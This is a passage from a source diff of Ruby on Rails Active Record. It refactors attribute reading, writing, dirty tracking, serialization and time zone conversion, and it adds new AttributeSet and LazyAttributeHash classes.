--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -19,8 +19,7 @@ module ActiveRecord
       # Attempts to +save+ the record and clears changed attributes if successful.
       def save(*)
         if status = super
-          @previously_changed = changes
-          @changed_attributes.clear
+          changes_applied
         end
         status
       end
@@ -28,79 +27,156 @@ module ActiveRecord
       # Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
       def save!(*)
         super.tap do
-          @previously_changed = changes
-          @changed_attributes.clear
+          changes_applied
         end
       end
 
       # <tt>reload</tt> the record and clears changed attributes.
       def reload(*)
         super.tap do
-          @previously_changed.clear
-          @changed_attributes.clear
+          clear_changes_information
+        end
+      end
+
+      def initialize_dup(other) # :nodoc:
+        super
+        calculate_changes_from_defaults
+      end
+
+      def changes_applied
+        super
+        store_original_raw_attributes
+      end
+
+      def clear_changes_information
+        super
+        original_raw_attributes.clear
+      end
+
+      def changed_attributes
+        # This should only be set by methods which will call changed_attributes
+        # multiple times when it is known that the computed value cannot change.
+        if defined?(@cached_changed_attributes)
+          @cached_changed_attributes
+        else
+          super.reverse_merge(attributes_changed_in_place).freeze
+        end
+      end
+
+      def changes
+        cache_changed_attributes do
+          super
+        end
+      end
+
+      def attribute_changed_in_place?(attr_name)
+        old_value = original_raw_attribute(attr_name)
+        @attributes[attr_name].changed_in_place_from?(old_value)
+      end
+
+      private
+
+      def changes_include?(attr_name)
+        super || attribute_changed_in_place?(attr_name)
+      end
+
+      def calculate_changes_from_defaults
+        @changed_attributes = nil
+        self.class.column_defaults.each do |attr, orig_value|
+          set_attribute_was(attr, orig_value) if _field_changed?(attr, orig_value)
         end
       end
 
-    private
       # Wrap write_attribute to remember original attribute value.
       def write_attribute(attr, value)
         attr = attr.to_s
 
-        # The attribute already has an unsaved change.
-        if attribute_changed?(attr)
-          old = @changed_attributes[attr]
-          @changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
+        old_value = old_attribute_value(attr)
+
+        result = super
+        store_original_raw_attribute(attr)
+        save_changed_attribute(attr, old_value)
+        result
+      end
+
+      def raw_write_attribute(attr, value)
+        attr = attr.to_s
+
+        result = super
+        original_raw_attributes[attr] = value
+        result
+      end
+
+      def save_changed_attribute(attr, old_value)
+        if attribute_changed_by_setter?(attr)
+          clear_attribute_changes(attr) unless _field_changed?(attr, old_value)
         else
-          old = clone_attribute_value(:read_attribute, attr)
-          @changed_attributes[attr] = old if _field_changed?(attr, old, value)
+          set_attribute_was(attr, old_value) if _field_changed?(attr, old_value)
         end
+      end
 
-        # Carry on.
-        super(attr, value)
+      def old_attribute_value(attr)
+        if attribute_changed?(attr)
+          changed_attributes[attr]
+        else
+          clone_attribute_value(:_read_attribute, attr)
+        end
       end
 
-      def update_record(*)
+      def _update_record(*)
         partial_writes? ? super(keys_for_partial_write) : super
       end
 
-      def create_record(*)
+      def _create_record(*)
         partial_writes? ? super(keys_for_partial_write) : super
       end
 
-      # Serialized attributes should always be written in case they've been
-      # changed in place.
       def keys_for_partial_write
-        changed | (attributes.keys & self.class.serialized_attributes.keys)
+        changed & self.class.column_names
       end
 
-      def _field_changed?(attr, old, value)
-        if column = column_for_attribute(attr)
-          if column.number? && (changes_from_nil_to_empty_string?(column, old, value) ||
-                                changes_from_zero_to_string?(old, value))
-            value = nil
-          else
-            value = column.type_cast(value)
-          end
+      def _field_changed?(attr, old_value)
+        @attributes[attr].changed_from?(old_value)
+      end
+
+      def attributes_changed_in_place
+        changed_in_place.each_with_object({}) do |attr_name, h|
+          orig = @attributes[attr_name].original_value
+          h[attr_name] = orig
+        end
+      end
+
+      def changed_in_place
+        self.class.attribute_names.select do |attr_name|
+          attribute_changed_in_place?(attr_name)
         end
+      end
 
-        old != value
+      def original_raw_attribute(attr_name)
+        original_raw_attributes.fetch(attr_name) do
+          read_attribute_before_type_cast(attr_name)
+        end
       end
 
-      def changes_from_nil_to_empty_string?(column, old, value)
-        # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
-        # Hence we don't record it as a change if the value changes from nil to ''.
-        # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
-        # be typecast back to 0 (''.to_i => 0)
-        column.null && (old.nil? || old == 0) && value.blank?
+      def original_raw_attributes
+        @original_raw_attributes ||= {}
       end
 
-      def changes_from_zero_to_string?(old, value)
-        # For columns with old 0 and value non-empty string
-        old == 0 && value.is_a?(String) && value.present? && non_zero?(value)
+      def store_original_raw_attribute(attr_name)
+        original_raw_attributes[attr_name] = @attributes[attr_name].value_for_database rescue nil
+      end
+
+      def store_original_raw_attributes
+        attribute_names.each do |attr|
+          store_original_raw_attribute(attr)
+        end
       end
 
-      def non_zero?(value)
-        value !~ /\A0+(\.0+)?\z/
+      def cache_changed_attributes
+        @cached_changed_attributes = changed_attributes
+        yield
+      ensure
+        remove_instance_variable(:@cached_changed_attributes)
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
index 931209b07b..c28374e4ab 100644
--- a/activerecord/lib/active_record/attribute_methods/primary_key.rb
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -15,8 +15,10 @@ module ActiveRecord
 
       # Returns the primary key value.
       def id
-        sync_with_transaction_state
-        read_attribute(self.class.primary_key)
+        if pk = self.class.primary_key
+          sync_with_transaction_state
+          _read_attribute(pk)
+        end
       end
 
       # Sets the primary key value.
@@ -37,6 +39,12 @@ module ActiveRecord
         read_attribute_before_type_cast(self.class.primary_key)
       end
 
+      # Returns the primary key previous value.
+      def id_was
+        sync_with_transaction_state
+        attribute_was(self.class.primary_key)
+      end
+
       protected
 
       def attribute_method?(attr_name)
@@ -52,7 +60,7 @@ module ActiveRecord
           end
         end
 
-        ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast).to_set
+        ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast id_was).to_set
 
         def dangerous_attribute_method?(method_name)
           super && !ID_ATTRIBUTE_METHODS.include?(method_name)
@@ -81,12 +89,9 @@ module ActiveRecord
         end
 
         def get_primary_key(base_name) #:nodoc:
-          return 'id' if base_name.blank?
-
-          case primary_key_prefix_type
-          when :table_name
+          if base_name && primary_key_prefix_type == :table_name
             base_name.foreign_key(false)
-          when :table_name_with_underscore
+          elsif base_name && primary_key_prefix_type == :table_name_with_underscore
             base_name.foreign_key
           else
             if ActiveRecord::Base != self && table_exists?
@@ -115,6 +120,7 @@ module ActiveRecord
         def primary_key=(value)
           @primary_key        = value && value.to_s
           @quoted_primary_key = nil
+          @attributes_builder = nil
         end
       end
     end
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
index 0f9723febb..553122a5fc 100644
--- a/activerecord/lib/active_record/attribute_methods/query.rb
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -8,7 +8,7 @@ module ActiveRecord
       end
 
       def query_attribute(attr_name)
-        value = read_attribute(attr_name) { |n| missing_attribute(n, caller) }
+        value = self[attr_name]
 
         case value
         when true        then true
@@ -22,7 +22,7 @@ module ActiveRecord
               return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value)
               !value.blank?
             end
-          elsif column.number?
+          elsif value.respond_to?(:zero?)
             !value.zero?
           else
             !value.blank?
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index 1cf3aba41c..0d989c2eca 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/module/method_transplanting'
-
 module ActiveRecord
   module AttributeMethods
     module Read
@@ -22,12 +20,12 @@ module ActiveRecord
         # the attribute name. Using a constant means that we do not have
         # to allocate an object on each call to the attribute method.
         # Making it frozen means that it doesn't get duped when used to
-        # key the @attributes_cache in read_attribute.
+        # key the @attributes in read_attribute.
         def method_body(method_name, const_name)
           <<-EOMETHOD
           def #{method_name}
             name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
-            read_attribute(name) { |n| missing_attribute(n, caller) }
+            _read_attribute(name) { |n| missing_attribute(n, caller) }
           end
           EOMETHOD
         end
@@ -35,105 +33,57 @@ module ActiveRecord
 
       extend ActiveSupport::Concern
 
-      ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
-
-      included do
-        class_attribute :attribute_types_cached_by_default, instance_writer: false
-        self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
-      end
-
       module ClassMethods
-        # +cache_attributes+ allows you to declare which converted attribute
-        # values should be cached. Usually caching only pays off for attributes
-        # with expensive conversion methods, like time related columns (e.g.
-        # +created_at+, +updated_at+).
-        def cache_attributes(*attribute_names)
-          cached_attributes.merge attribute_names.map { |attr| attr.to_s }
-        end
-
-        # Returns the attributes which are cached. By default time related columns
-        # with datatype <tt>:datetime, :timestamp, :time, :date</tt> are cached.
-        def cached_attributes
-          @cached_attributes ||= columns.select { |c| cacheable_column?(c) }.map { |col| col.name }.to_set
-        end
-
-        # Returns +true+ if the provided attribute is being cached.
-        def cache_attribute?(attr_name)
-          cached_attributes.include?(attr_name)
-        end
-
         protected
 
-        if Module.methods_transplantable?
-          def define_method_attribute(name)
-            method = ReaderMethodCache[name]
-            generated_attribute_methods.module_eval { define_method name, method }
-          end
-        else
-          def define_method_attribute(name)
-            safe_name = name.unpack('h*').first
-            temp_method = "__temp__#{safe_name}"
-
-            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+        def define_method_attribute(name)
+          safe_name = name.unpack('h*').first
+          temp_method = "__temp__#{safe_name}"
 
-            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
-              def #{temp_method}
-                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
-                read_attribute(name) { |n| missing_attribute(n, caller) }
-              end
-            STR
+          ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
 
-            generated_attribute_methods.module_eval do
-              alias_method name, temp_method
-              undef_method temp_method
+          generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+            def #{temp_method}
+              name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+              _read_attribute(name) { |n| missing_attribute(n, caller) }
             end
-          end
-        end
-
-        private
+          STR
 
-        def cacheable_column?(column)
-          if attribute_types_cached_by_default == ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
-            ! serialized_attributes.include? column.name
-          else
-            attribute_types_cached_by_default.include?(column.type)
+          generated_attribute_methods.module_eval do
+            alias_method name, temp_method
+            undef_method temp_method
           end
         end
       end
 
+      ID = 'id'.freeze
+
       # Returns the value of the attribute identified by <tt>attr_name</tt> after
-      # it has been typecast (for example, "2004-12-12" in a data column is cast
+      # it has been typecast (for example, "2004-12-12" in a date column is cast
       # to a date object, like Date.new(2004, 12, 12)).
-      def read_attribute(attr_name)
-        # If it's cached, just return it
-        # We use #[] first as a perf optimization for non-nil values. See https://gist.github.com/jonleighton/3552829.
+      def read_attribute(attr_name, &block)
         name = attr_name.to_s
-        @attributes_cache[name] || @attributes_cache.fetch(name) {
-          column = @columns_hash.fetch(name) {
-            return @attributes.fetch(name) {
-              if name == 'id' && self.class.primary_key != name
-                read_attribute(self.class.primary_key)
-              end
-            }
-          }
-
-          value = @attributes.fetch(name) {
-            return block_given? ? yield(name) : nil
-          }
+        name = self.class.primary_key if name == ID
+        _read_attribute(name, &block)
+      end
 
-          if self.class.cache_attribute?(name)
-            @attributes_cache[name] = column.type_cast(value)
-          else
-            column.type_cast value
-          end
-        }
+      # This method exists to avoid the expensive primary_key check internally, without
+      # breaking compatibility with the read_attribute API
+      if defined?(JRUBY_VERSION)
+        # This form is significantly faster on JRuby, and this is one of our biggest hotspots.
+        # https://github.com/jruby/jruby/pull/2562
+        def _read_attribute(attr_name, &block) # :nodoc
+          @attributes.fetch_value(attr_name.to_s, &block)
+        end
+      else
+        def _read_attribute(attr_name) # :nodoc:
+          @attributes.fetch_value(attr_name.to_s) { |n| yield n if block_given? }
+        end
       end
 
-      private
+      alias :attribute :_read_attribute
+      private :attribute
 
-      def attribute(attribute_name)
-        read_attribute(attribute_name)
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
index 1287de0d0d..d0d8a968c5 100644
--- a/activerecord/lib/active_record/attribute_methods/serialization.rb
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -3,31 +3,19 @@ module ActiveRecord
     module Serialization
       extend ActiveSupport::Concern
 
-      included do
-        # Returns a hash of all the attributes that have been specified for
-        # serialization as keys and their class restriction as values.
-        class_attribute :serialized_attributes, instance_accessor: false
-        self.serialized_attributes = {}
-      end
-
       module ClassMethods
-        ##
-        # :method: serialized_attributes
-        #
-        # Returns a hash of all the attributes that have been specified for
-        # serialization as keys and their class restriction as values.
-
         # If you have an attribute that needs to be saved to the database as an
         # object, and retrieved as the same object, then specify the name of that
         # attribute using this method and it will be handled automatically. The
         # serialization is done through YAML. If +class_name+ is specified, the
-        # serialized object must be of that class on retrieval or
-        # <tt>SerializationTypeMismatch</tt> will be raised.
+        # serialized object must be of that class on assignment and retrieval.
+        # Otherwise <tt>SerializationTypeMismatch</tt> will be raised.
         #
         # ==== Parameters
         #
         # * +attr_name+ - The field name that should be serialized.
-        # * +class_name+ - Optional, class name that the object type should be equal to.
+        # * +class_name_or_coder+ - Optional, a coder object, which responds to `.load` / `.dump`
+        #   or a class name that the object type should be equal to.
         #
         # ==== Example
         #
@@ -35,118 +23,30 @@ module ActiveRecord
         #   class User < ActiveRecord::Base
         #     serialize :preferences
         #   end
-        def serialize(attr_name, class_name = Object)
-          include Behavior
-
-          coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
-                    class_name
+        #
+        #   # Serialize preferences using JSON as coder.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, JSON
+        #   end
+        #
+        #   # Serialize preferences as Hash using YAML coder.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, Hash
+        #   end
+        def serialize(attr_name, class_name_or_coder = Object)
+          # When ::JSON is used, force it to go through the Active Support JSON encoder
+          # to ensure special objects (e.g. Active Record models) are dumped correctly
+          # using the #as_json hook.
+          coder = if class_name_or_coder == ::JSON
+                    Coders::JSON
+                  elsif [:load, :dump].all? { |x| class_name_or_coder.respond_to?(x) }
+                    class_name_or_coder
                   else
-                    Coders::YAMLColumn.new(class_name)
+                    Coders::YAMLColumn.new(class_name_or_coder)
                   end
 
-          # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
-          # has its own hash of own serialized attributes
-          self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
-        end
-      end
-
-      class Type # :nodoc:
-        def initialize(column)
-          @column = column
-        end
-
-        def type_cast(value)
-          if value.state == :serialized
-            value.unserialized_value @column.type_cast value.value
-          else
-            value.unserialized_value
-          end
-        end
-
-        def type
-          @column.type
-        end
-      end
-
-      class Attribute < Struct.new(:coder, :value, :state) # :nodoc:
-        def unserialized_value(v = value)
-          state == :serialized ? unserialize(v) : value
-        end
-
-        def serialized_value
-          state == :unserialized ? serialize : value
-        end
-
-        def unserialize(v)
-          self.state = :unserialized
-          self.value = coder.load(v)
-        end
-
-        def serialize
-          self.state = :serialized
-          self.value = coder.dump(value)
-        end
-      end
-
-      # This is only added to the model when serialize is called, which
-      # ensures we do not make things slower when serialization is not used.
-      module Behavior # :nodoc:
-        extend ActiveSupport::Concern
-
-        module ClassMethods # :nodoc:
-          def initialize_attributes(attributes, options = {})
-            serialized = (options.delete(:serialized) { true }) ? :serialized : :unserialized
-            super(attributes, options)
-
-            serialized_attributes.each do |key, coder|
-              if attributes.key?(key)
-                attributes[key] = Attribute.new(coder, attributes[key], serialized)
-              end
-            end
-
-            attributes
-          end
-        end
-
-        def type_cast_attribute_for_write(column, value)
-          if column && coder = self.class.serialized_attributes[column.name]
-            Attribute.new(coder, value, :unserialized)
-          else
-            super
-          end
-        end
-
-        def _field_changed?(attr, old, value)
-          if self.class.serialized_attributes.include?(attr)
-            old != value
-          else
-            super
-          end
-        end
-
-        def read_attribute_before_type_cast(attr_name)
-          if self.class.serialized_attributes.include?(attr_name)
-            super.unserialized_value
-          else
-            super
-          end
-        end
-
-        def attributes_before_type_cast
-          super.dup.tap do |attributes|
-            self.class.serialized_attributes.each_key do |key|
-              if attributes.key?(key)
-                attributes[key] = attributes[key].unserialized_value
-              end
-            end
-          end
-        end
-
-        def typecasted_attribute_value(name)
-          if self.class.serialized_attributes.include?(name)
-            @attributes[name].serialized_value
-          else
-            super
+          decorate_attribute_type(attr_name, :serialize) do |type|
+            Type::Serialized.new(type, coder)
           end
         end
       end
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
index f168282ea3..90c36e4b02 100644
--- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -1,18 +1,39 @@
 module ActiveRecord
   module AttributeMethods
     module TimeZoneConversion
-      class Type # :nodoc:
-        def initialize(column)
-          @column = column
+      class TimeZoneConverter < DelegateClass(Type::Value) # :nodoc:
+        def type_cast_from_database(value)
+          convert_time_to_time_zone(super)
         end
 
-        def type_cast(value)
-          value = @column.type_cast(value)
-          value.acts_like?(:time) ? value.in_time_zone : value
+        def type_cast_from_user(value)
+          if value.is_a?(Array)
+            value.map { |v| type_cast_from_user(v) }
+          elsif value.is_a?(Hash)
+            set_time_zone_without_conversion(super)
+          elsif value.respond_to?(:in_time_zone)
+            begin
+              user_input_in_time_zone(value) || super
+            rescue ArgumentError
+              nil
+            end
+          end
+        end
+
+        private
+
+        def convert_time_to_time_zone(value)
+          if value.is_a?(Array)
+            value.map { |v| convert_time_to_time_zone(v) }
+          elsif value.acts_like?(:time)
+            value.in_time_zone
+          else
+            value
+          end
         end
 
-        def type
-          @column.type
+        def set_time_zone_without_conversion(value)
+          ::Time.zone.local_to_utc(value).in_time_zone
         end
       end
 
@@ -24,34 +45,54 @@ module ActiveRecord
 
         class_attribute :skip_time_zone_conversion_for_attributes, instance_writer: false
         self.skip_time_zone_conversion_for_attributes = []
+
+        class_attribute :time_zone_aware_types, instance_writer: false
+        self.time_zone_aware_types = [:datetime, :not_explicitly_configured]
       end
 
       module ClassMethods
-        protected
-        # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
-        # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
-        def define_method_attribute=(attr_name)
-          if create_time_zone_conversion_attribute?(attr_name, columns_hash[attr_name])
-            method_body, line = <<-EOV, __LINE__ + 1
-              def #{attr_name}=(time)
-                time_with_zone = time.respond_to?(:in_time_zone) ? time.in_time_zone : nil
-                previous_time = attribute_changed?("#{attr_name}") ? changed_attributes["#{attr_name}"] : read_attribute(:#{attr_name})
-                write_attribute(:#{attr_name}, time)
-                #{attr_name}_will_change! if previous_time != time_with_zone
-                @attributes_cache["#{attr_name}"] = time_with_zone
-              end
-            EOV
-            generated_attribute_methods.module_eval(method_body, __FILE__, line)
-          else
-            super
+        private
+
+        def inherited(subclass)
+          # We need to apply this decorator here, rather than on module inclusion. The closure
+          # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
+          # sub class being decorated. As such, changes to `time_zone_aware_attributes`, or
+          # `skip_time_zone_conversion_for_attributes` would not be picked up.
+          subclass.class_eval do
+            matcher = ->(name, type) { create_time_zone_conversion_attribute?(name, type) }
+            decorate_matching_attribute_types(matcher, :_time_zone_conversion) do |type|
+              TimeZoneConverter.new(type)
+            end
           end
+          super
         end
 
-        private
-        def create_time_zone_conversion_attribute?(name, column)
-          time_zone_aware_attributes &&
-            !self.skip_time_zone_conversion_for_attributes.include?(name.to_sym) &&
-            (:datetime == column.type || :timestamp == column.type)
+        def create_time_zone_conversion_attribute?(name, cast_type)
+          enabled_for_column = time_zone_aware_attributes &&
+            !self.skip_time_zone_conversion_for_attributes.include?(name.to_sym)
+          result = enabled_for_column &&
+            time_zone_aware_types.include?(cast_type.type)
+
+          if enabled_for_column &&
+            !result &&
+            cast_type.type == :time &&
+            time_zone_aware_types.include?(:not_explicitly_configured)
+            ActiveSupport::Deprecation.warn(<<-MESSAGE)
+              Time columns will become time zone aware in Rails 5.1. This
+              still causes `String`s to be parsed as if they were in `Time.zone`,
+              and `Time`s to be converted to `Time.zone`.
+
+              To keep the old behavior, you must add the following to your initializer:
+
+                  config.active_record.time_zone_aware_types = [:datetime]
+
+              To silence this deprecation warning, add the following:
+
+                  config.active_record.time_zone_aware_types << :time
+            MESSAGE
+          end
+
+          result
         end
       end
     end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index c853fc0917..ab017c7b54 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/module/method_transplanting'
-
 module ActiveRecord
   module AttributeMethods
     module Write
@@ -25,29 +23,18 @@ module ActiveRecord
       module ClassMethods
         protected
 
-        if Module.methods_transplantable?
-          # See define_method_attribute in read.rb for an explanation of
-          # this code.
-          def define_method_attribute=(name)
-            method = WriterMethodCache[name]
-            generated_attribute_methods.module_eval {
-              define_method "#{name}=", method
-            }
-          end
-        else
-          def define_method_attribute=(name)
-            safe_name = name.unpack('h*').first
-            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+        def define_method_attribute=(name)
+          safe_name = name.unpack('h*').first
+          ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
 
-            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
-              def __temp__#{safe_name}=(value)
-                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
-                write_attribute(name, value)
-              end
-              alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
-              undef_method :__temp__#{safe_name}=
-            STR
-          end
+          generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+            def __temp__#{safe_name}=(value)
+              name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+              write_attribute(name, value)
+            end
+            alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
+            undef_method :__temp__#{safe_name}=
+          STR
         end
       end
 
@@ -55,24 +42,12 @@ module ActiveRecord
       # specified +value+. Empty strings for fixnum and float columns are
       # turned into +nil+.
       def write_attribute(attr_name, value)
-        attr_name = attr_name.to_s
-        attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
-        @attributes_cache.delete(attr_name)
-        column = column_for_attribute(attr_name)
-
-        # If we're dealing with a binary column, write the data to the cache
-        # so we don't attempt to typecast multiple times.
-        if column && column.binary?
-          @attributes_cache[attr_name] = value
-        end
+        write_attribute_with_type_cast(attr_name, value, true)
+      end
 
-        if column || @attributes.has_key?(attr_name)
-          @attributes[attr_name] = type_cast_attribute_for_write(column, value)
-        else
-          raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'"
-        end
+      def raw_write_attribute(attr_name, value)
+        write_attribute_with_type_cast(attr_name, value, false)
       end
-      alias_method :raw_write_attribute, :write_attribute
 
       private
       # Handle *= for method_missing.
@@ -80,10 +55,17 @@ module ActiveRecord
         write_attribute(attribute_name, value)
       end
 
-      def type_cast_attribute_for_write(column, value)
-        return value unless column
+      def write_attribute_with_type_cast(attr_name, value, should_type_cast)
+        attr_name = attr_name.to_s
+        attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
+
+        if should_type_cast
+          @attributes.write_from_user(attr_name, value)
+        else
+          @attributes.write_cast_value(attr_name, value)
+        end
 
-        column.type_cast_for_write value
+        value
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_set.rb b/activerecord/lib/active_record/attribute_set.rb
new file mode 100644
index 0000000000..013a7d0e01
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set.rb
@@ -0,0 +1,93 @@
+require 'active_record/attribute_set/builder'
+
+module ActiveRecord
+  class AttributeSet # :nodoc:
+    def initialize(attributes)
+      @attributes = attributes
+    end
+
+    def [](name)
+      attributes[name] || Attribute.null(name)
+    end
+
+    def []=(name, value)
+      attributes[name] = value
+    end
+
+    def values_before_type_cast
+      attributes.transform_values(&:value_before_type_cast)
+    end
+
+    def to_hash
+      initialized_attributes.transform_values(&:value)
+    end
+    alias_method :to_h, :to_hash
+
+    def key?(name)
+      attributes.key?(name) && self[name].initialized?
+    end
+
+    def keys
+      attributes.each_key.select { |name| self[name].initialized? }
+    end
+
+    if defined?(JRUBY_VERSION)
+      # This form is significantly faster on JRuby, and this is one of our biggest hotspots.
+      # https://github.com/jruby/jruby/pull/2562
+      def fetch_value(name, &block)
+        self[name].value(&block)
+      end
+    else
+      def fetch_value(name)
+        self[name].value { |n| yield n if block_given? }
+      end
+    end
+
+    def write_from_database(name, value)
+      attributes[name] = self[name].with_value_from_database(value)
+    end
+
+    def write_from_user(name, value)
+      attributes[name] = self[name].with_value_from_user(value)
+    end
+
+    def write_cast_value(name, value)
+      attributes[name] = self[name].with_cast_value(value)
+    end
+
+    def freeze
+      @attributes.freeze
+      super
+    end
+
+    def initialize_dup(_)
+      @attributes = attributes.deep_dup
+      super
+    end
+
+    def initialize_clone(_)
+      @attributes = attributes.clone
+      super
+    end
+
+    def reset(key)
+      if key?(key)
+        write_from_database(key, nil)
+      end
+    end
+
+    def accessed
+      attributes.select { |_, attr| attr.has_been_read? }.keys
+    end
+
+    protected
+
+    attr_reader :attributes
+
+    private
+
+    def initialized_attributes
+      attributes.select { |_, attr| attr.initialized? }
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_set/builder.rb b/activerecord/lib/active_record/attribute_set/builder.rb
new file mode 100644
index 0000000000..e85777c335
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set/builder.rb
@@ -0,0 +1,92 @@
+module ActiveRecord
+  class AttributeSet # :nodoc:
+    class Builder # :nodoc:
+      attr_reader :types, :always_initialized
+
+      def initialize(types, always_initialized = nil)
+        @types = types
+        @always_initialized = always_initialized
+      end
+
+      def build_from_database(values = {}, additional_types = {})
+        if always_initialized && !values.key?(always_initialized)
+          values[always_initialized] = nil
+        end
+
+        attributes = LazyAttributeHash.new(types, values, additional_types)
+        AttributeSet.new(attributes)
+      end
+    end
+  end
+
+  class LazyAttributeHash # :nodoc:
+    delegate :transform_values, :each_key, to: :materialize
+
+    def initialize(types, values, additional_types)
+      @types = types
+      @values = values
+      @additional_types = additional_types
+      @materialized = false
+      @delegate_hash = {}
+    end
+
+    def key?(key)
+      delegate_hash.key?(key) || values.key?(key) || types.key?(key)
+    end
+
+    def [](key)
+      delegate_hash[key] || assign_default_value(key)
+    end
+
+    def []=(key, value)
+      if frozen?
+        raise RuntimeError, "Can't modify frozen hash"
+      end
+      delegate_hash[key] = value
+    end
+
+    def initialize_dup(_)
+      @delegate_hash = delegate_hash.transform_values(&:dup)
+      super
+    end
+
+    def select
+      keys = types.keys | values.keys | delegate_hash.keys
+      keys.each_with_object({}) do |key, hash|
+        attribute = self[key]
+        if yield(key, attribute)
+          hash[key] = attribute
+        end
+      end
+    end
+
+    protected
+
+    attr_reader :types, :values, :additional_types, :delegate_hash
+
+    private
+
+    def assign_default_value(name)
+      type = additional_types.fetch(name, types[name])
+      value_present = true
+      value = values.fetch(name) { value_present = false }
+
+      if value_present
+        delegate_hash[name] = Attribute.from_database(name, value, type)
+      elsif types.key?(name)
+        delegate_hash[name] = Attribute.uninitialized(name, type)
+      end
+    end
+
+    def materialize
+      unless @materialized
+        values.each_key { |key| self[key] }
+        types.each_key { |key| self[key] }
+        unless frozen?
+          @materialized = true
+        end
+      end
+      delegate_hash
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attributes.rb b/activerecord/lib/active_record/attributes.rb
new file mode 100644
index 0000000000..2c475f3cda
--- /dev/null
+++ b/activerecord/lib/active_record/attributes.rb
@@ -0,0 +1,237 @@
+module ActiveRecord
+  # See ActiveRecord::Attributes::ClassMethods for documentation
+  module Attributes
+    extend ActiveSupport::Concern
+
+    # :nodoc:
+    Type = ActiveRecord::Type
+
+    included do
+      class_attribute :attributes_to_define_after_schema_loads, instance_accessor: false # :internal:
+      self.attributes_to_define_after_schema_loads = {}
+    end
+
+    module ClassMethods
+      # Defines an attribute with a type on this model. It will override the
+      # type of existing attributes if needed. This allows control over how
+      # values are converted to and from SQL when assigned to a model. It also
+      # changes the behavior of values passed to
+      # ActiveRecord::QueryMethods#where. This will let you use
+      # your domain objects across much of Active Record, without having to
+      # rely on implementation details or monkey patching.
+      #
+      # +name+ The name of the methods to define attribute methods for, and the
+      # column which this will persist to.
+      #
+      # +cast_type+ A symbol such as +:string+ or +:integer+, or a type object
+      # to be used for this attribute. See the examples below for more
+      # information about providing custom type objects.
+      #
+      # ==== Options
+      # The following options are accepted:
+      #
+      # +default+ The default value to use when no value is provided. If this option
+      # is not passed, the previous default value (if any) will be used.
+      # Otherwise, the default will be +nil+.
+      #
+      # +array+ (PG only) specifies that the type should be an array (see the examples below).
+      #
+      # +range+ (PG only) specifies that the type should be a range (see the examples below).
+      #
+      # ==== Examples
+      #
+      # The type detected by Active Record can be overridden.
+      #
+      #   # db/schema.rb
+      #   create_table :store_listings, force: true do |t|
+      #     t.decimal :price_in_cents
+      #   end
+      #
+      #   # app/models/store_listing.rb
